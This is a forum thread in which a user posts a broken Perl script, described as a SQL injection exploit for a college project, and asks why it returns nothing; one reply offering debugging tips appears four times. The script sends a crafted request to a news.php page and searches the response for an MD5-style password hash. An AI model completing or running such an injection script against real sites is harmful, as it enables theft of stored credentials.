Perl Script (Help Please)?

martinthurn

New member
1. NEVER ask a question here if your code does not have "use strict; use warnings;" at the top.
2. I am a Perl PROGRAMMER, not a scripter. You're much more likely to get an intelligent answer if you do not call it scripting.
3. There is no code in your program to return anything, so your statement "nothing is returned" means nothing is wrong.
4. If you're connecting to port 80 you should be using the LWP module.
5. I don't think you can use <> on an IO::Socket object. Try $sock->read() instead. (This information would be garnered if you RTFM)
 
1. NEVER ask a question here if your code does not have "use strict; use warnings;" at the top.
2. I am a Perl PROGRAMMER, not a scripter. You're much more likely to get an intelligent answer if you do not call it scripting.
3. There is no code in your program to return anything, so your statement "nothing is returned" means nothing is wrong.
4. If you're connecting to port 80 you should be using the LWP module.
5. I don't think you can use <> on an IO::Socket object. Try $sock->read() instead. (This information would be garnered if you RTFM)
 
Goodevening all . I need some help with a perl script . This is a collage project . It's a perl script for a sql exploit.. It's only for educational purposes and as a project ..

here is the code:

#!/usr/bin/perl

use IO::Socket;


$server = $ARGV[0];
$path = $ARGV[1];

$sock = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$server", PeerPort => "80") || die "\n+ Connection failed...\n";


$injection= "$path/news.php?id=SQL";


print $sock "GET $injection HTTP/1.1n";
print $sock "Accept: */*n";
print $sock "User-Agent: Hackern";
print $sock "Host: $hostn";
print $sock "Connection: closenn";


while($answer = <$sock>) {
if ($answer =~ /([0-9a-f]{32})/) {
print "]+[ Found! The hash is: $1n";
exit(); }

else {
print "Could not find hash!";

}

}


#END


The problem is that it does not return any results . .it connects but nothing is returned . Is it the while statment ?? Please help me

Again i can not stress enough . I am not using this for illegal purposes . it's simply a project ..


Thank you


~DK~
 
1. NEVER ask a question here if your code does not have "use strict; use warnings;" at the top.
2. I am a Perl PROGRAMMER, not a scripter. You're much more likely to get an intelligent answer if you do not call it scripting.
3. There is no code in your program to return anything, so your statement "nothing is returned" means nothing is wrong.
4. If you're connecting to port 80 you should be using the LWP module.
5. I don't think you can use <> on an IO::Socket object. Try $sock->read() instead. (This information would be garnered if you RTFM)
 
1. NEVER ask a question here if your code does not have "use strict; use warnings;" at the top.
2. I am a Perl PROGRAMMER, not a scripter. You're much more likely to get an intelligent answer if you do not call it scripting.
3. There is no code in your program to return anything, so your statement "nothing is returned" means nothing is wrong.
4. If you're connecting to port 80 you should be using the LWP module.
5. I don't think you can use <> on an IO::Socket object. Try $sock->read() instead. (This information would be garnered if you RTFM)
 
Back
Top